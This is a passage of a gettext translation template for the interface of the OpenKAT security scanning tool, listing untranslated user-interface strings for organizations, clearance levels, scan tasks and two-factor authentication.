rocky/templates/oois/ooi_mute_finding.html\nmsgid \"Mute\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_page_tabs.html\nmsgid \"List of views for OOI\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"This object is past due and has been deleted\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"This object is past due. You are viewing the object state in a past state.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's to past due objects.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\n#: rocky/templates/partials/hyperlink_ooi_id.html\n#, python-format\nmsgid \"Show details for %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"View the current state\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_past_due_warning.html\nmsgid \"\"\n\"You will not be able to add Findings or other OOI's, this object has been \"\n\"deleted and is no longer available.\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Summary for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"Below you can see findings that were found for\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"and direct  children of this\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"This\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"tree view\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"of the\"\nmsgstr \"\"\n\n#: rocky/templates/oois/ooi_summary.html\nmsgid \"shows the same objects.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_add.html\nmsgid \"\"\n\"Please enter the following organization details. These details can be edited \"\n\"within the organization page within OpenKAT when necessary.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Edit organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_edit.html\nmsgid \"Save organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"An overview of all organizations you are a member of.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Add new organization\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                            Showing %(total)s organizations\\n\"\n\"                        \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Organization overview:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Tags\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"There were no organizations found for your user account\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\nmsgid \"Actions to perform for all of your organizations.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_list.html\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"Rerun all bits\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add.html\nmsgid \"Change account type\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_add_header.html\n#, python-format\nmsgid \"\"\n\"Creating a new member of organization <strong>%(organization)s</strong>. For \"\n\"detailed information about the different account types, check the <a \"\n\"href=\\\"https://docs.openkat.nl/basics/users-and-organisations.html#users\\\" \"\n\"target=\\\"_blank\\\" rel=\\\"noopener\\\">documentation</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_edit.html\n#: rocky/views/organization_member_edit.py\nmsgid \"Edit member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_edit.html\nmsgid \"Save member\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"An overview of members of <strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Add member(s)\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Manually\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Upload a CSV\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\n#, python-format\nmsgid \"\"\n\"\\n\"\n\"                        Showing %(total)s members\\n\"\n\"                    \"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Member overview:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Role\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Assigned clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_list.html\nmsgid \"Super user\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#: rocky/views/organization_member_add.py\nmsgid \"Add members\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\n#, python-format\nmsgid \"\"\n\"To upload multiple members at once, you can upload a CSV file or you can <a \"\n\"href=\\\"%(download_url)s\\\">download the template</a>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"To create a custom CSV file, make sure it meets the following criteria:\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_member_upload.html\nmsgid \"Upload\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\n#, python-format\nmsgid \"\"\n\"An overview of general information and settings for \"\n\"<strong>%(organization_name)s</strong>.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\nmsgid \"\"\n\"<strong>Warning:</strong> Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/organizations/organization_settings.html\n#: rocky/views/indemnification_add.py\nmsgid \"Add indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/partials/current_config.html\nmsgid \"Current configuration\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"Delete objects\"\nmsgstr \"\"\n\n#: rocky/templates/partials/delete_ooi_modal.html\nmsgid \"\"\n\"Are you sure you want to delete all the selected objects? The history of the \"\n\"deleted objects will still be available.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Edit clearance level settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"You are editing clearance level of all the selected objects.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"Switching between declare and inherit\"\nmsgstr \"\"\n\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\nmsgid \"\"\n\"Clearance levels can be automatically inherited or you can manually declare \"\n\"the clearance level for an object. Switching to inherit clearance level will \"\n\"also recalculate the clearance levels of objects that inherit from these \"\n\"clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\nmsgid \"Observed at\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Show settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_detail_settings.html\n#: rocky/templates/partials/elements/ooi_report_settings.html\nmsgid \"Hide settings\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_list_settings_form.html\nmsgid \"Toggle all OOI types\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table.html\nmsgid \"Children\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Show details for %(object_id)s, with %(child_count)s children.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"\"\n\"Show tree for %(object_id)s with only children of type %(object_ooi_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_condensed_table_row.html\n#, python-format\nmsgid \"Unfold %(object_id)s with %(child_count)s children\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"go to:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to detailpage\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"detail\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to tree view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"tree\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"Go to graph view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/elements/ooi_tree_table.html\nmsgid \"graph\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Clearance level inheritance\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"OOI\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"This OOI\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Origin\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"declared\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"inherited from ↓\"\nmsgstr \"\"\n\n#: rocky/templates/partials/explanations.html\nmsgid \"Show clearance level inheritance\"\nmsgstr \"\"\n\n#: rocky/templates/partials/finding_occurrence_definition_list.html\nmsgid \"Reproduction\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/checkbox_group_table_form.html\nmsgid \"Please enable plugin to start scanning.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Not set\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot email\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input.html\nmsgid \"Forgot password\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"error\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_errors.html\n#: rocky/templates/partials/form/form_errors.html\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Error:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Open explanation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\nmsgid \"Close explanation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/field_input_help_text.html\n#: rocky/templates/partials/notifications_block.html\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Explanation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"Performing security scans against assets is generally only allowed if you \"\n\"have permission to scan those assets. Certain scans might also have a \"\n\"negative impact on (your) assets. Therefore it is important to know and be \"\n\"aware of the impact of security scans.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"\"\n\"An organization indemnification is required before you can use OpenKAT. With \"\n\"the indemnification you declare that you, as a person, can be held \"\n\"accountable.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/form/indemnification_add_form.html\nmsgid \"Set an indemnification\"\nmsgstr \"\"\n\n#: rocky/templates/partials/hyperlink_ooi_type.html\n#, python-format\nmsgid \"Only show objects of type %(type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Hide filter options\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_filters.html\nmsgid \"Show filter options\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"List pagination\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Previous\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Back\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\n#: rocky/templates/partials/pagination.html\nmsgid \"Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Current\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Five Pages Forward\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next Page\"\nmsgstr \"\"\n\n#: rocky/templates/partials/list_paginator.html\nmsgid \"Next\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"You are muting the selected findings.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Reason:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/mute_findings_modal.html\nmsgid \"Expires by (UTC):\"\nmsgstr \"\"\n\n#: rocky/templates/partials/notifications_block.html\nmsgid \"Confirmation:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_related_object.html\nmsgid \"No related object known for\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\nmsgid \"Generate Report\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_detail_toolbar.html\n#, python-format\nmsgid \"Edit %(display_type)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_head.html\nmsgid \"Data from:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_head.html\nmsgid \"(Now)\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Scan for objects\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\n#: rocky/templates/upload_csv.html rocky/views/upload_csv.py\nmsgid \"Upload CSV\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Export\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as CSV\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block.html\n#, python-format\nmsgid \"%(total)s findings on %(name)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\n#, python-format\nmsgid \"Findings for %(type)s %(name)s on %(observed_at)s:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table.html\nmsgid \"Open finding details\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\n#, python-format\nmsgid \"Details of %(object_id)s\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"\"\n\"The severity of this findingtype has not (yet) been determined by the data \"\n\"source. This situation requires manual investigation of the severity.\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_report_findings_block_table_expanded_row.html\nmsgid \"Total occurrences\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - dense view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/ooi_tree_toolbar_bottom.html\nmsgid \"Tree - table view\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_member_list_filters.html\nmsgid \"Update List\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization name\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organization_properties_table.html\nmsgid \"Organization code\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"Select organization\"\nmsgstr \"\"\n\n#: rocky/templates/partials/organizations_menu_dropdown.html\nmsgid \"All organizations\"\nmsgstr \"\"\n\n#: rocky/templates/partials/page-meta.html\nmsgid \"Logged in as:\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"of\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"first\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"previous\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"next\"\nmsgstr \"\"\n\n#: rocky/templates/partials/pagination.html\nmsgid \"last\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"User navigation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Close user navigation\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"My organizations\"\nmsgstr \"\"\n\n#: rocky/templates/partials/secondary-menu.html\nmsgid \"Profile\"\nmsgstr \"\"\n\n#: rocky/templates/partials/skip-to-content.html\nmsgid \"Go to content\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"The clearance level determines the level of boefje scans allowed on this \"\n\"object. An object inherits its clearance level from neighbouring objects. \"\n\"This means that the clearance level might stay the same, increase or \"\n\"decrease, depending on other declared clearance levels.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty clearance level explanation\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Empty:\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"This object has a clearance level of \\\"empty\\\". This means that this object \"\n\"has no clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Indemnification is not set for this organization.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to the\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"organization settings page\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to add one.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Set clearance level warning\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"\"\n\"You don't have permissions to set the clearance level. Contact your \"\n\"administrator.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\n#, python-format\nmsgid \"\"\n\"You are not allowed to set the clearance level of this OOI. Your maximum \"\n\"clearance level is %(member_clearance_level)s and this OOI has level \"\n\"%(boefje_scan_level)s.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Go to your\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"account details\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"to manage your clearance level.\"\nmsgstr \"\"\n\n#: rocky/templates/scan_profiles/scan_profile_detail.html\nmsgid \"Current clearance level\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"\"\n\"An overview of the boefje task, the input OOI and the RAW data it generated.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download meta and raw data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Download meta data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefje_task_detail.html\nmsgid \"Input object\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"There are no tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html\nmsgid \"List of tasks for boefjes.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/reports.html\nmsgid \"Organization Code\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/ooi_detail_task_list.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Created date\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/boefjes.html rocky/templates/tasks/normalizers.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Modified date\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"There are no tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"List of tasks for normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Boefje input OOI\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/normalizers.html\nmsgid \"Manually added\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/ooi_detail_task_list.html\nmsgid \"There have been no tasks.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Task statistics - Last 24 hours\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"All times in UTC, blocks of 1 hour.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Timeslot\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/stats.html\nmsgid \"Could not load stats, Scheduler error.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/tab_navigation.html\nmsgid \"List of tasks\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Loading...\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Yielded objects\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Yielded raw files\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Reschedule\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/task_actions.html\nmsgid \"Download task data\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/partials/tasks_overview_header.html\n#, python-format\nmsgid \"\"\n\"An overview of the tasks for <strong>%(organization)s</strong>. Tasks are \"\n\"divided in Boefjes, Normalizers and Reports. Boefjes scan objects and \"\n\"Normalizers dispatch on the output mime-type. Additionally, there is a \"\n\"Report tasks. This task aggregates and presents findings from both Boefjes \"\n\"and Normalizers.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"There are no tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"List of tasks for\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"There are no tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"List of tasks for reports.\"\nmsgstr \"\"\n\n#: rocky/templates/tasks/reports.html\nmsgid \"Recipe ID\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Log in\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/_wizard_actions.html\nmsgid \"Authenticate\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Tokens\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"\"\n\"Backup tokens can be used when your primary and backup phone numbers aren't \"\n\"available. The backup tokens below can be used for login verification. If \"\n\"you've used up all your backup tokens, you can generate a new set of backup \"\n\"tokens. Only the backup tokens shown below will be valid.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Print these tokens and keep them somewhere safe.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"You don't have any backup codes yet.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\nmsgid \"Generate Tokens\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/backup_tokens.html\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Back to Account Security\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"You are logged in.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Two factor authentication is enabled for your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Two factor authentication is not enabled for your account. Enable it to \"\n\"continue.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Setup two factor authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Credentials\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"\"\n\"Use this form for entering backup tokens for logging in. These tokens have \"\n\"been generated for you to print and keep safe. Please enter one of these \"\n\"backup tokens to login to your account.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"As a last resort, you can use a backup token:\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/login.html\nmsgid \"Use Backup Token\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"Permission Denied\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\nmsgid \"\"\n\"The page you requested, enforces users to verify using two-factor \"\n\"authentication for security reasons. You need to enable these security \"\n\"features in order to access this page.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"Two-factor authentication is not enabled for your account. Enable two-factor \"\n\"authentication for enhanced account security.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/otp_required.html\n#: rocky/templates/two_factor/core/setup.html\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Enable Two-Factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"Add Backup Phone\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"You'll be adding a backup phone number to your account. This number will be \"\n\"used if your primary method of registration is not available.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/phone_register.html\nmsgid \"\"\n\"We've sent a token to your phone number. Please enter the token you've \"\n\"received.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"To start using a token generator, please use your smartphone to scan the QR \"\n\"code below or use the setup key. For example, use GoogleAuthenticator. Then, \"\n\"enter the token generated by the app.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"QR code\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"Setup key\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup.html\nmsgid \"\"\n\"The secret key is a 32 characters representation of the QR code. There are 2 \"\n\"options to setup the two factor authtentication. You can scan the QR code \"\n\"above or you can insert this key using the secret key option of the \"\n\"authenticator app.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Congratulations, you've successfully enabled two-factor authentication.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"Start using OpenKAT\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\nmsgid \"\"\n\"However, it might happen that you don't have access to your primary token \"\n\"device. To enable account recovery, add a phone number.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/core/setup_complete.html\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Add Phone Number\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"Disable Two-factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/disable.html\nmsgid \"\"\n\"You are about to disable two-factor authentication. This weakens your \"\n\"account security, are you sure?\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Account Security\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your token generator.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"Primary method: %(primary)s\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Tokens will be generated by your YubiKey.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Backup Phone Numbers\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If your primary method is not available, we are able to send backup tokens \"\n\"to the phone numbers listed below.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Unregister\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"If you don't have any device with you, you can access your account using \"\n\"backup tokens.\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\n#, python-format\nmsgid \"You have only one backup token remaining.\"\nmsgid_plural \"You have %(counter)s backup tokens remaining.\"\nmsgstr[0] \"\"\nmsgstr[1] \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Show Codes\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"Disable Two-Factor Authentication\"\nmsgstr \"\"\n\n#: rocky/templates/two_factor/profile/profile.html\nmsgid \"\"\n\"However we strongly 